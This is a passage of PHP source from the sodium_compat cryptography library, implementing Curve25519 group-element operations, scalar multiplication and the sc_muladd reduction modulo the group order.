        ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q
    ) {
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1();

        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->YminusX);
        $r->Y = self::fe_mul($r->Y, $q->YplusX);
        $r->T = self::fe_mul($q->T2d, $p->T);
        $r->X = self::fe_mul($p->Z, $q->Z);
        $t0 = self::fe_add($r->X, $r->X);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_sub($t0, $r->T);
        $r->T = self::fe_add($t0, $r->T);

        return $r;
    }

    /**
     * Convert a group element to a byte string.
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P2 $h
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function
ge_tobytes(ParagonIE_Sodium_Core_Curve25519_Ge_P2 $h)
    {
        $recip = self::fe_invert($h->Z);
        $x = self::fe_mul($h->X, $recip);
        $y = self::fe_mul($h->Y, $recip);
        $s = self::fe_tobytes($y);
        $s[31] = self::intToChr(
            self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7)
        );
        return $s;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A
     * @param string $b
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     */
    public static function ge_double_scalarmult_vartime(
        $a,
        ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A,
        $b
    ) {
        /** @var array<int,
ParagonIE_Sodium_Core_Curve25519_Ge_Cached> $Ai */
        $Ai = array();

        /** @var array<int,
ParagonIE_Sodium_Core_Curve25519_Ge_Precomp> $Bi */
        static $Bi = array();
        if (!$Bi) {
            for ($i = 0; $i < 8; ++$i) {
                $Bi[$i] = new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp(
                   
ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][0]),
                   
ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][1]),
                   
ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][2])
                );
            }
        }
        for ($i = 0; $i < 8; ++$i) {
            $Ai[$i] = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached(
                self::fe_0(),
                self::fe_0(),
                self::fe_0(),
                self::fe_0()
            );
        }

        # slide(aslide,a);
        # slide(bslide,b);
        /** @var array<int, int> $aslide */
        $aslide = self::slide($a);
        /** @var array<int, int> $bslide */
        $bslide = self::slide($b);

        # ge_p3_to_cached(&Ai[0],A);
        # ge_p3_dbl(&t,A); ge_p1p1_to_p3(&A2,&t);
        $Ai[0] = self::ge_p3_to_cached($A);
        $t = self::ge_p3_dbl($A);
        $A2 = self::ge_p1p1_to_p3($t);

        # ge_add(&t,&A2,&Ai[0]); ge_p1p1_to_p3(&u,&t);
ge_p3_to_cached(&Ai[1],&u);
        # ge_add(&t,&A2,&Ai[1]); ge_p1p1_to_p3(&u,&t);
ge_p3_to_cached(&Ai[2],&u);
        # ge_add(&t,&A2,&Ai[2]); ge_p1p1_to_p3(&u,&t);
ge_p3_to_cached(&Ai[3],&u);
        # ge_add(&t,&A2,&Ai[3]); ge_p1p1_to_p3(&u,&t);
ge_p3_to_cached(&Ai[4],&u);
        # ge_add(&t,&A2,&Ai[4]); ge_p1p1_to_p3(&u,&t);
ge_p3_to_cached(&Ai[5],&u);
        # ge_add(&t,&A2,&Ai[5]); ge_p1p1_to_p3(&u,&t);
ge_p3_to_cached(&Ai[6],&u);
        # ge_add(&t,&A2,&Ai[6]); ge_p1p1_to_p3(&u,&t);
ge_p3_to_cached(&Ai[7],&u);
        for ($i = 0; $i < 7; ++$i) {
            $t = self::ge_add($A2, $Ai[$i]);
            $u = self::ge_p1p1_to_p3($t);
            $Ai[$i + 1] = self::ge_p3_to_cached($u);
        }

        # ge_p2_0(r);
        $r = self::ge_p2_0();

        # for (i = 255;i >= 0;--i) {
        #     if (aslide[i] || bslide[i]) break;
        # }
        $i = 255;
        for (; $i >= 0; --$i) {
            if ($aslide[$i] || $bslide[$i]) {
                break;
            }
        }

        # for (;i >= 0;--i) {
        for (; $i >= 0; --$i) {
            # ge_p2_dbl(&t,r);
            $t = self::ge_p2_dbl($r);

            # if (aslide[i] > 0) {
            if ($aslide[$i] > 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_add(&t,&u,&Ai[aslide[i]/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_add(
                    $u,
                    $Ai[(int) floor($aslide[$i] / 2)]
                );
            # } else if (aslide[i] < 0) {
            } elseif ($aslide[$i] < 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_sub(&t,&u,&Ai[(-aslide[i])/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_sub(
                    $u,
                    $Ai[(int) floor(-$aslide[$i] / 2)]
                );
            }

            # if (bslide[i] > 0) {
            if ($bslide[$i] > 0) {
                /** @var int $index */
                $index = (int) floor($bslide[$i] / 2);
                # ge_p1p1_to_p3(&u,&t);
                # ge_madd(&t,&u,&Bi[bslide[i]/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_madd($t, $u, $Bi[$index]);
            # } else if (bslide[i] < 0) {
            } elseif ($bslide[$i] < 0) {
                /** @var int $index */
                $index = (int) floor(-$bslide[$i] / 2);
                # ge_p1p1_to_p3(&u,&t);
                # ge_msub(&t,&u,&Bi[(-bslide[i])/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_msub($t, $u, $Bi[$index]);
            }
            # ge_p1p1_to_p2(r,&t);
            $r = self::ge_p1p1_to_p2($t);
        }
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     */
    public static function ge_scalarmult_base($a)
    {
        /** @var array<int, int> $e */
        $e = array();
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1();

        for ($i = 0; $i < 32; ++$i) {
            /** @var int $dbl */
            $dbl = (int) $i << 1;
            $e[$dbl] = (int) self::chrToInt($a[$i]) & 15;
            $e[$dbl + 1] = (int) (self::chrToInt($a[$i]) >> 4) &
15;
        }

        /** @var int $carry */
        $carry = 0;
        for ($i = 0; $i < 63; ++$i) {
            $e[$i] += $carry;
            /** @var int $carry */
            $carry = $e[$i] + 8;
            /** @var int $carry */
            $carry >>= 4;
            $e[$i] -= $carry << 4;
        }
        /** @var array<int, int> $e */
        $e[63] += (int) $carry;

        $h = self::ge_p3_0();

        for ($i = 1; $i < 64; $i += 2) {
            $t = self::ge_select((int) floor($i / 2), (int) $e[$i]);
            $r = self::ge_madd($r, $h, $t);
            $h = self::ge_p1p1_to_p3($r);
        }

        $r = self::ge_p3_dbl($h);

        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);
        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);
        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);

        $h = self::ge_p1p1_to_p3($r);

        for ($i = 0; $i < 64; $i += 2) {
            $t = self::ge_select($i >> 1, (int) $e[$i]);
            $r = self::ge_madd($r, $h, $t);
            $h = self::ge_p1p1_to_p3($r);
        }
        return $h;
    }

    /**
     * Calculates (ab + c) mod l
     * where l = 2^252 + 27742317777372353535851937790883648493
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @param string $c
     * @return string
     * @throws TypeError
     */
    public static function sc_muladd($a, $b, $c)
    {
        /** @var int $a0 */
        $a0 = 2097151 & self::load_3(self::substr($a, 0, 3));
        /** @var int $a1 */
        $a1 = 2097151 & (self::load_4(self::substr($a, 2, 4)) >>
5);
        /** @var int $a2 */
        $a2 = 2097151 & (self::load_3(self::substr($a, 5, 3)) >>
2);
        /** @var int $a3 */
        $a3 = 2097151 & (self::load_4(self::substr($a, 7, 4)) >>
7);
        /** @var int $a4 */
        $a4 = 2097151 & (self::load_4(self::substr($a, 10, 4)) >>
4);
        /** @var int $a5 */
        $a5 = 2097151 & (self::load_3(self::substr($a, 13, 3)) >>
1);
        /** @var int $a6 */
        $a6 = 2097151 & (self::load_4(self::substr($a, 15, 4)) >>
6);
        /** @var int $a7 */
        $a7 = 2097151 & (self::load_3(self::substr($a, 18, 3)) >>
3);
        /** @var int $a8 */
        $a8 = 2097151 & self::load_3(self::substr($a, 21, 3));
        /** @var int $a9 */
        $a9 = 2097151 & (self::load_4(self::substr($a, 23, 4)) >>
5);
        /** @var int $a10 */
        $a10 = 2097151 & (self::load_3(self::substr($a, 26, 3))
>> 2);
        /** @var int $a11 */
        $a11 = (self::load_4(self::substr($a, 28, 4)) >> 7);

        /** @var int $b0 */
        $b0 = 2097151 & self::load_3(self::substr($b, 0, 3));
        /** @var int $b1 */
        $b1 = 2097151 & (self::load_4(self::substr($b, 2, 4)) >>
5);
        /** @var int $b2 */
        $b2 = 2097151 & (self::load_3(self::substr($b, 5, 3)) >>
2);
        /** @var int $b3 */
        $b3 = 2097151 & (self::load_4(self::substr($b, 7, 4)) >>
7);
        /** @var int $b4 */
        $b4 = 2097151 & (self::load_4(self::substr($b, 10, 4)) >>
4);
        /** @var int $b5 */
        $b5 = 2097151 & (self::load_3(self::substr($b, 13, 3)) >>
1);
        /** @var int $b6 */
        $b6 = 2097151 & (self::load_4(self::substr($b, 15, 4)) >>
6);
        /** @var int $b7 */
        $b7 = 2097151 & (self::load_3(self::substr($b, 18, 3)) >>
3);
        /** @var int $b8 */
        $b8 = 2097151 & self::load_3(self::substr($b, 21, 3));
        /** @var int $b9 */
        $b9 = 2097151 & (self::load_4(self::substr($b, 23, 4)) >>
5);
        /** @var int $b10 */
        $b10 = 2097151 & (self::load_3(self::substr($b, 26, 3))
>> 2);
        /** @var int $b11 */
        $b11 = (self::load_4(self::substr($b, 28, 4)) >> 7);

        /** @var int $c0 */
        $c0 = 2097151 & self::load_3(self::substr($c, 0, 3));
        /** @var int $c1 */
        $c1 = 2097151 & (self::load_4(self::substr($c, 2, 4)) >>
5);
        /** @var int $c2 */
        $c2 = 2097151 & (self::load_3(self::substr($c, 5, 3)) >>
2);
        /** @var int $c3 */
        $c3 = 2097151 & (self::load_4(self::substr($c, 7, 4)) >>
7);
        /** @var int $c4 */
        $c4 = 2097151 & (self::load_4(self::substr($c, 10, 4)) >>
4);
        /** @var int $c5 */
        $c5 = 2097151 & (self::load_3(self::substr($c, 13, 3)) >>
1);
        /** @var int $c6 */
        $c6 = 2097151 & (self::load_4(self::substr($c, 15, 4)) >>
6);
        /** @var int $c7 */
        $c7 = 2097151 & (self::load_3(self::substr($c, 18, 3)) >>
3);
        /** @var int $c8 */
        $c8 = 2097151 & self::load_3(self::substr($c, 21, 3));
        /** @var int $c9 */
        $c9 = 2097151 & (self::load_4(self::substr($c, 23, 4)) >>
5);
        /** @var int $c10 */
        $c10 = 2097151 & (self::load_3(self::substr($c, 26, 3))
>> 2);
        /** @var int $c11 */
        $c11 = (self::load_4(self::substr($c, 28, 4)) >> 7);

        /* Can't really avoid the pyramid here: */
        $s0 = $c0 + self::mul($a0, $b0, 24);
        $s1 = $c1 + self::mul($a0, $b1, 24) + self::mul($a1, $b0, 24);
        $s2 = $c2 + self::mul($a0, $b2, 24) + self::mul($a1, $b1, 24) +
self::mul($a2, $b0, 24);
        $s3 = $c3 + self::mul($a0, $b3, 24) + self::mul($a1, $b2, 24) +
self::mul($a2, $b1, 24) + self::mul($a3, $b0, 24);
        $s4 = $c4 + self::mul($a0, $b4, 24) + self::mul($a1, $b3, 24) +
self::mul($a2, $b2, 24) + self::mul($a3, $b1, 24) +
               self::mul($a4, $b0, 24);
        $s5 = $c5 + self::mul($a0, $b5, 24) + self::mul($a1, $b4, 24) +
self::mul($a2, $b3, 24) + self::mul($a3, $b2, 24) +
               self::mul($a4, $b1, 24) + self::mul($a5, $b0, 24);
        $s6 = $c6 + self::mul($a0, $b6, 24) + self::mul($a1, $b5, 24) +
self::mul($a2, $b4, 24) + self::mul($a3, $b3, 24) +
               self::mul($a4, $b2, 24) + self::mul($a5, $b1, 24) +
self::mul($a6, $b0, 24);
        $s7 = $c7 + self::mul($a0, $b7, 24) + self::mul($a1, $b6, 24) +
self::mul($a2, $b5, 24) + self::mul($a3, $b4, 24) +
               self::mul($a4, $b3, 24) + self::mul($a5, $b2, 24) +
self::mul($a6, $b1, 24) + self::mul($a7, $b0, 24);
        $s8 = $c8 + self::mul($a0, $b8, 24) + self::mul($a1, $b7, 24) +
self::mul($a2, $b6, 24) + self::mul($a3, $b5, 24) +
               self::mul($a4, $b4, 24) + self::mul($a5, $b3, 24) +
self::mul($a6, $b2, 24) + self::mul($a7, $b1, 24) +
               self::mul($a8, $b0, 24);
        $s9 = $c9 + self::mul($a0, $b9, 24) + self::mul($a1, $b8, 24) +
self::mul($a2, $b7, 24) + self::mul($a3, $b6, 24) +
               self::mul($a4, $b5, 24) + self::mul($a5, $b4, 24) +
self::mul($a6, $b3, 24) + self::mul($a7, $b2, 24) +
               self::mul($a8, $b1, 24) + self::mul($a9, $b0, 24);
        $s10 = $c10 + self::mul($a0, $b10, 24) + self::mul($a1, $b9, 24) +
self::mul($a2, $b8, 24) + self::mul($a3, $b7, 24) +
               self::mul($a4, $b6, 24) + self::mul($a5, $b5, 24) +
self::mul($a6, $b4, 24) + self::mul($a7, $b3, 24) +
               self::mul($a8, $b2, 24) + self::mul($a9, $b1, 24) +
self::mul($a10, $b0, 24);
        $s11 = $c11 + self::mul($a0, $b11, 24) + self::mul($a1, $b10, 24) +
self::mul($a2, $b9, 24) + self::mul($a3, $b8, 24) +
               self::mul($a4, $b7, 24) + self::mul($a5, $b6, 24) +
self::mul($a6, $b5, 24) + self::mul($a7, $b4, 24) +
               self::mul($a8, $b3, 24) + self::mul($a9, $b2, 24) +
self::mul($a10, $b1, 24) + self::mul($a11, $b0, 24);
        $s12 = self::mul($a1, $b11, 24) + self::mul($a2, $b10, 24) +
self::mul($a3, $b9, 24) + self::mul($a4, $b8, 24) +
               self::mul($a5, $b7, 24) + self::mul($a6, $b6, 24) +
self::mul($a7, $b5, 24) + self::mul($a8, $b4, 24) +
               self::mul($a9, $b3, 24) + self::mul($a10, $b2, 24) +
self::mul($a11, $b1, 24);
        $s13 = self::mul($a2, $b11, 24) + self::mul($a3, $b10, 24) +
self::mul($a4, $b9, 24) + self::mul($a5, $b8, 24) +
               self::mul($a6, $b7, 24) + self::mul($a7, $b6, 24) +
self::mul($a8, $b5, 24) + self::mul($a9, $b4, 24) +
               self::mul($a10, $b3, 24) + self::mul($a11, $b2, 24);
        $s14 = self::mul($a3, $b11, 24) + self::mul($a4, $b10, 24) +
self::mul($a5, $b9, 24) + self::mul($a6, $b8, 24) +
               self::mul($a7, $b7, 24) + self::mul($a8, $b6, 24) +
self::mul($a9, $b5, 24) + self::mul($a10, $b4, 24) +
               self::mul($a11, $b3, 24);
        $s15 = self::mul($a4, $b11, 24) + self::mul($a5, $b10, 24) +
self::mul($a6, $b9, 24) + self::mul($a7, $b8, 24) +
               self::mul($a8, $b7, 24) + self::mul($a9, $b6, 24) +
self::mul($a10, $b5, 24) + self::mul($a11, $b4, 24);
        $s16 = self::mul($a5, $b11, 24) + self::mul($a6, $b10, 24) +
self::mul($a7, $b9, 24) + self::mul($a8, $b8, 24) +
               self::mul($a9, $b7, 24) + self::mul($a10, $b6, 24) +
self::mul($a11, $b5, 24);
        $s17 = self::mul($a6, $b11, 24) + self::mul($a7, $b10, 24) +
self::mul($a8, $b9, 24) + self::mul($a9, $b8, 24) +
               self::mul($a10, $b7, 24) + self::mul($a11, $b6, 24);
        $s18 = self::mul($a7, $b11, 24) + self::mul($a8, $b10, 24) +
self::mul($a9, $b9, 24) + self::mul($a10, $b8, 24) +
               self::mul($a11, $b7, 24);
        $s19 = self::mul($a8, $b11, 24) + self::mul($a9, $b10, 24) +
self::mul($a10, $b9, 24) + self::mul($a11, $b8, 24);
        $s20 = self::mul($a9, $b11, 24) + self::mul($a10, $b10, 24) +
self::mul($a11, $b9, 24);
        $s21 = self::mul($a10, $b11, 24) + self::mul($a11, $b10, 24);
        $s22 = self::mul($a11, $b11, 24);
        $s23 = 0;

        /** @var int $carry0 */
        $carry0 = ($s0 + (1 << 20)) >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        /** @var int $carry2 */
        $carry2 = ($s2 + (1 << 20)) >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        /** @var int $carry4 */
        $carry4 = ($s4 + (1 << 20)) >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        /** @var int $carry6 */
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        /** @var int $carry8 */
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        /** @var int $carry10 */
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        /** @var int $carry12 */
        $carry12 = ($s12 + (1 << 20)) >> 21;
        $s13 += $carry12;
        $s12 -= $carry12 << 21;
        /** @var int $carry14 */
        $carry14 = ($s14 + (1 << 20)) >> 21;
        $s15 += $carry14;
        $s14 -= $carry14 << 21;
        /** @var int $carry16 */
        $carry16 = ($s16 + (1 << 20)) >> 21;
        $s17 += $carry16;
        $s16 -= $carry16 << 21;
        /** @var int $carry18 */
        $carry18 = ($s18 + (1 << 20)) >> 21;
        $s19 += $carry18;
        $s18 -= $carry18 << 21;
        /** @var int $carry20 */
        $carry20 = ($s20 + (1 << 20)) >> 21;
        $s21 += $carry20;
        $s20 -= $carry20 << 21;
        /** @var int $carry22 */
        $carry22 = ($s22 + (1 << 20)) >> 21;
        $s23 += $carry22;
        $s22 -= $carry22 << 21;

        /** @var int $carry1 */
        $carry1 = ($s1 + (1 << 20)) >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        /** @var int $carry3 */
        $carry3 = ($s3 + (1 << 20)) >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        /** @var int $carry5 */
        $carry5 = ($s5 + (1 << 20)) >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        /** @var int $carry7 */
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        /** @var int $carry9 */
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        /** @var int $carry11 */
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;
        /** @var int $carry13 */
        $carry13 = ($s13 + (1 << 20)) >> 21;
        $s14 += $carry13;
        $s13 -= $carry13 << 21;
        /** @var int $carry15 */
        $carry15 = ($s15 + (1 << 20)) >> 21;
        $s16 += $carry15;
        $s15 -= $carry15 << 21;
        /** @var int $carry17 */
        $carry17 = ($s17 + (1 << 20)) >> 21;
        $s18 += $carry17;
        $s17 -= $carry17 << 21;
        /** @var int $carry19 */
        $carry19 = ($s19 + (1 << 20)) >> 21;
        $s20 += $carry19;
        $s19 -= $carry19 << 21;
        /** @var int $carry21 */
        $carry21 = ($s21 + (1 << 20)) >> 21;
        $s22 += $carry21;
        $s21 -= $carry21 << 21;

        $s11 += self::mul($s23, 666643, 20);
        $s12 += self::mul($s23, 470296, 19);
        $s13 += self::mul($s23, 654183, 20);
        $s14 -= self::mul($s23, 997805, 20);
        $s15 += self::mul($s23, 136657, 18);
        $s16 -= self::mul($s23, 683901, 20);

        $s10 += self::mul($s22, 666643, 20);
        $s11 += self::mul($s22, 470296, 19);
        $s12 += self::mul($s22, 654183, 20);
        $s13 -= self::mul($s22, 997805, 20);
        $s14 += self::mul($s22, 136657, 18);
        $s15 -= self::mul($s22, 683901, 20);

        $s9  += self::mul($s21,  666643, 20);
        $s10 += self::mul($s21,  470296, 19);
        $s11 += self::mul($s21,  654183, 20);
        $s12 -= self::mul($s21,  997805, 20);
        $s13 += self::mul($s21,  136657, 18);
        $s14 -= self::mul($s21,  683901, 20);

        $s8  += self::mul($s20,  666643, 20);
        $s9  += self::mul($s20,  470296, 19);
        $s10 += self::mul($s20,  654183, 20);
        $s11 -= self::mul($s20,  997805, 20);
        $s12 += self::mul($s20,  136657, 18);
        $s13 -= self::mul($s20,  683901, 20);

        $s7  += self::mul($s19,  666643, 20);
        $s8  += self::mul($s19,  470296, 19);
        $s9  += self::mul($s19,  654183, 20);
        $s10 -= self::mul($s19,  997805, 20);
        $s11 += self::mul($s19,  136657, 18);
        $s12 -= self::mul($s19,  683901, 20);

        $s6  += self::mul($s18,  666643, 20);
        $s7  += self::mul($s18,  470296, 19);
        $s8  += self::mul($s18,  654183, 20);
        $s9  -= self::mul($s18,  997805, 20);
        $s10 += self::mul($s18,  136657, 18);
        $s11 -= self::mul($s18,  683901, 20);

        /** @var int $carry6 */
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        /** @var int $carry8 */
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        /** @var int $carry10 */
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        /** @var int $carry12 */
        $carry12 = ($s12 + (1 << 20)) >> 21;
        $s13 += $carry12;
        $s12 -= $carry12 << 21;
        /** @var int $carry14 */
        $carry14 = ($s14 + (1 << 20)) >> 21;
        $s15 += $carry14;
        $s14 -= $carry14 << 21;
        /** @var int $carry16 */
        $carry16 = ($s16 + (1 << 20)) >> 21;
        $s17 += $carry16;
        $s16 -= $carry16 << 21;

        /** @var int $carry7 */
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        /** @var int $carry9 */
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        /** @var int $carry11 */
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;
        /** @var int $carry13 */
        $carry13 = ($s13 + (1 << 20)) >> 21;
        $s14 += $carry13;
        $s13 -= $carry13 << 21;
        /** @var int $carry15 */
        $carry15 = ($s15 + (1 << 20)) >> 21;
        $s16 += $carry15;
        $s15 -= $carry15 << 21;

        $s5  += self::mul($s17,  666643, 20);
        $s6  += self::mul($s17,  470296, 19);
        $s7  += self::mul($s17,  654183, 20);
        $s8  -= self::mul($s17,  997805, 20);
        $s9  += self::mul($s17,  136657, 18);
        $s10 -= self::mul($s17,  683901, 20);

        $s4 += self::mul($s16,  666643, 20);
        $s5 += self::mul($s16,  470296, 19);
        $s6 += self::mul($s16,  654183, 20);
        $s7 -= self::mul($s16,  997805, 20);
        $s8 += self::mul($s16,  136657, 18);
        $s9 -= self::mul($s16,  683901, 20);

        $s3 += self::mul($s15,  666643, 20);
        $s4 += self::mul($s15,  470296, 19);
        $s5 += self::mul($s15,  654183, 20);
        $s6 -= self::mul($s15,  997805, 20);
        $s7 += self::mul($s15,  136657, 18);
        $s8 -= self::mul($s15,  683901, 20);

        $s2 += self::mul($s14,  666643, 20);
        $s3 += self::mul($s14,  470296, 19);
        $s4 += self::mul($s14,  654183, 20);
        $s5 -= self::mul($s14,  997805, 20);
        $s6 += self::mul($s14,  136657, 18);
        $s7 -= self::mul($s14,  683901, 20);

        $s1 += self::mul($s13,  666643, 20);
        $s2 += self::mul($s13,  470296, 19);
        $s3 += self::mul($s13,  654183, 20);
        $s4 -= self::mul($s13,  997805, 20);
        $s5 += self::mul($s13,  136657, 18);
        $s6 -= self::mul($s13,  683901, 20);

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);
        $s12 = 0;

        /** @var int $carry0 */
        $carry0 = ($s0 + (1 << 20)) >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        /** @var int $carry2 */
        $carry2 = ($s2 + (1 << 20)) >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        /** @var int $carry4 */
        $carry4 = ($s4 + (1 << 20)) >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        /** @var int $carry6 */
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        /** @var int $carry8 */
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        /** @var int $carry10 */
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        /** @var int $carry1 */
        $carry1 = ($s1 + (1 << 20)) >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        /** @var int $carry3 */
        $carry3 = ($s3 + (1 << 20)) >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        /** @var int $carry5 */
        $carry5 = ($s5 + (1 << 20)) >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        /** @var int $carry7 */
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        /** @var int $carry9 */
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        /** @var int $carry11 */
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);
        $s12 = 0;

        /** @var int $carry0 */
        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        /** @var int $carry1 */
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        /** @var int $carry2 */
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        /** @var int $carry3 */
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        /** @var int $carry4 */
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        /** @var int $carry5 */
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        /** @var int $carry6 */
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        /** @var int $carry7 */
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        /** @var int $carry8 */
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        /** @var int $carry9 */
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        /** @var int $carry10 */
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        /** @var int $carry11 */
        $carry11 = $s11 >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);

        /** @var int $carry0 */
        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        /** @var int $carry1 */
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        /** @var int $carry2 */
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        /** @var int $carry3 */
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        /** @var int $carry4 */
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        /** @var int $carry5 */
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        /** @var int $carry6 */
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        /** @var int $carry7 */
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        /** @var int $carry8 */
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        /** @var int $carry9 */
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        /** @var int $carry10 */
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        /**
         * @var array<int, int>
         */
        $arr = array(
            (int) (0xff & ($s0 >> 0)),
            (int) (0xff & ($s0 >> 8)),
            (int) (0xff & (($s0 >> 16) | $s1 << 5)),
            (int) (0xff & ($s1 >> 3)),
            (int) (0xff & ($s1 >> 11)),
            (int) (0xff & (($s1 >> 19) | $s2 << 2)),
            (int) (0xff & ($s2 >> 6)),
